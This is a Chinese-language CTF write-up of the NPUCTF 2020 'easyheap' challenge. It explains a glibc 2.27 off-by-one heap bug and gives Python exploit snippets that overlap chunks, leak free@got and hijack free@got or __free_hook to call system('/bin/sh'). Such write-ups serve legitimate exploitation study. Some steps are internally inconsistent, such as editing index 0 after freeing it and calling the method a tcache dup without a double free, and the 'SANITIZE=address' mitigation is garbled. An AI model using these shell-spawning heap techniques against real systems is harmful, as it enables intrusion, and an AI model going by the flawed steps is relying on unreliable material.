glibc 2.27堆利用：tcache与off-by-one漏洞实战

1. 题目背景与漏洞分析

这道来自NPUCTF 2020的easyheap题目，是很多CTF选手接触glibc 2.27堆利用的第一道门槛题。与之前常见的glibc 2.23环境不同，2.27版本引入了tcache机制，这使得堆块的分配和释放行为发生了显著变化。我们先从程序的基本情况开始分析。

1.1 保护机制检查

用checksec查看程序保护情况：

code复制Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

关键点在于：

• 只开启了Partial RELRO，意味着GOT表可写
• 没有开启PIE，代码段的地址固定
• 有栈保护但堆栈不可执行

这种保护组合为我们提供了多种攻击可能性，特别是通过修改GOT表来实现控制流劫持。

1.2 程序功能逆向分析

使用IDA反编译后，可以看到这是一个典型的菜单题，提供以下功能：

1. Create Heap - 创建堆块
2. Edit Heap - 编辑堆块内容
3. Show Heap - 显示堆块内容
4. Delete Heap - 释放堆块

1.2.1 Create函数分析

Create函数的逻辑值得仔细研究：

1. 首先遍历查找空闲的索引位置
2. 分配一个0x10字节的"元数据"chunk，用于存储：
   • 前8字节：用户chunk的大小
   • 后8字节：指向用户chunk的指针
3. 根据用户输入的大小(只能是0x18或0x38)分配实际使用的chunk
4. 将用户数据写入分配的chunk

这种结构在内存中的布局大致如下：

code复制+-------------------+     +-------------------+
| 元数据chunk(0x10) | --> | 用户chunk(0x18/0x38) |
+-------------------+     +-------------------+

1.2.2 Edit函数漏洞

Edit函数中存在一个典型的off-by-one漏洞：

c复制read_input(*(heaparray + idx) + 8, size + 1);  // 多读1个字节

这允许我们溢出1个字节到相邻的chunk，可以修改下一个chunk的size字段。这是后续利用的关键。

1.2.3 其他函数特点

• Show函数：通过元数据chunk中的指针来显示内容
• Free函数：先释放用户chunk，再释放元数据chunk，并将指针置零（无UAF）

2. 利用思路与攻击链构建

2.1 利用off-by-one修改chunk大小

通过Edit函数的off-by-one，我们可以将相邻chunk的size从0x21修改为0x41。具体步骤：

1. 分配两个0x18的chunk（实际分配0x20）
2. 对第一个chunk进行编辑，写入0x18字节数据 + '\x41'
3. 这会修改第二个chunk的元数据中的size字段

2.2 通过堆布局实现重叠

修改size后，释放第二个chunk：

1. 它会被放入tcache的0x40bin（因为size被改为0x41）
2. 但实际分配的大小是0x20，这造成了不一致

接着分配一个0x38的chunk：

1. 这会从0x40bin中取出之前释放的chunk
2. 由于实际分配更大，可以覆盖后续的元数据chunk

2.3 GOT表劫持实现信息泄露

通过堆重叠，我们可以修改元数据chunk中的指针，使其指向GOT表：

1. 将free@got的地址写入指针
2. 使用Show功能泄露free的实际地址
3. 计算libc基址

2.4 最终攻击路径选择

根据RELRO保护情况，有两种攻击方式：

方式一：直接修改GOT（Partial RELRO）

1. 将free@got改为system地址
2. 释放包含"/bin/sh"的chunk

方式二：tcache dup + free_hook（Full RELRO也可用）

1. 利用tcache的double free特性
2. 将__free_hook改为system
3. 释放包含"/bin/sh"的chunk

3. 详细利用过程

3.1 初始堆布局

首先建立基本的堆布局：

python复制add(0x18, b'chunk0')  # 索引0
add(0x18, b'chunk1')  # 索引1 
add(0x18, b'/bin/sh\x00')  # 索引2，用于后续触发shell

内存状态：

code复制索引0: 元数据(0x10) -> 用户chunk(0x20)
索引1: 元数据(0x10) -> 用户chunk(0x20) 
索引2: 元数据(0x10) -> 用户chunk(0x20)

3.2 触发off-by-one

通过编辑索引0的chunk来修改索引1的size：

python复制payload = b'A'*0x18 + b'\x41'  # 修改下一个chunk的size为0x41
edit(0, payload)

现在索引1的元数据认为它的用户chunk大小是0x40（实际是0x20）。

3.3 精心设计的释放与重新分配

python复制free(1)  # 释放索引1，进入tcache的0x40bin

# 重新分配0x38的chunk，会使用刚才释放的"0x40"chunk
add(0x38, b'overlap')  # 新的索引1

此时内存布局：

code复制索引1的用户chunk(实际大小0x40):
[前0x20字节是我们可控的数据]
[后0x20字节覆盖了原来的元数据chunk]

3.4 构造虚假元数据实现任意读

python复制# 构造伪造的元数据结构
payload = b'A'*0x18 + p64(0x21) + p64(0x40) + p64(elf.got['free'])
edit(1, payload)

# 现在show(1)实际上会打印free@got的内容
show(1)

通过解析输出，我们可以泄露free的实际地址，进而计算libc基址：

python复制leak = u64(r.recv(6).ljust(8, b'\x00'))
libc.address = leak - libc.symbols['free']

3.5 最终攻击实施

方法一：GOT覆盖（Partial RELRO）

python复制edit(1, p64(libc.symbols['system']))
free(2)  # 此时实际调用system("/bin/sh")

方法二：tcache dup + free_hook（通用）

python复制free_hook = libc.symbols['__free_hook']
system_addr = libc.symbols['system']

# 构造tcache链
free(2)
free(0)

# 重新分配并构造虚假的tcache链
add(0x38, b'prepare')
add(0x38, b'/bin/sh\x00')

# 将free_hook放入tcache链
payload = b'A'*0x18 + p64(0x21) + p64(free_hook)
edit(0, payload)

# 分配到free_hook并写入system
add(0x18, p64(system_addr))

# 触发
free(2)

4. 关键技术与原理详解

4.1 tcache机制解析

glibc 2.27引入的tcache（线程本地缓存）具有以下特点：

• 每个线程有64个单链表，对应不同大小（0x20-0x410）
• 每个bin最多7个chunk
• 分配优先级高于fastbin/smallbin
• 无安全检查（2.29后增加了key校验）

4.2 off-by-one利用的精妙之处

本例中的off-by-one之所以能成功利用，是因为：

1. 可以修改下一个chunk的size字段
2. 通过制造size与实际分配的不一致
3. 在释放和重新分配时造成堆重叠

4.3 tcache dup技术原理

tcache double free的利用条件：

1. 同一个chunk被连续释放两次
2. tcache bin未满（<7个）
3. 没有严格的double free检查（2.27没有）

利用方式：

1. 第一次释放：chunk进入tcache
2. 第二次释放：同一个chunk再次进入tcache
3. 分配时修改fd指针
4. 下次分配将得到任意地址

5. 防御与修复建议

5.1 开发者角度

1. 对所有输入进行严格的长度检查
2. 开启Full RELRO保护
3. 使用现代的glibc版本（>=2.32）

5.2 漏洞缓解

1. 设置export GLIBC_TUNABLES=glibc.malloc.tcache_count=0禁用tcache
2. 使用SANITIZE=address编译选项

5.3 题目设计启示

这道题很好地展示了：

1. off-by-one的威力
2. tcache机制的脆弱性
3. 不同glibc版本间的差异

在实际CTF比赛中，理解内存布局和精心构造堆状态是关键。建议通过gdb配合pwndbg插件逐步调试，观察每一步操作后的堆状态变化。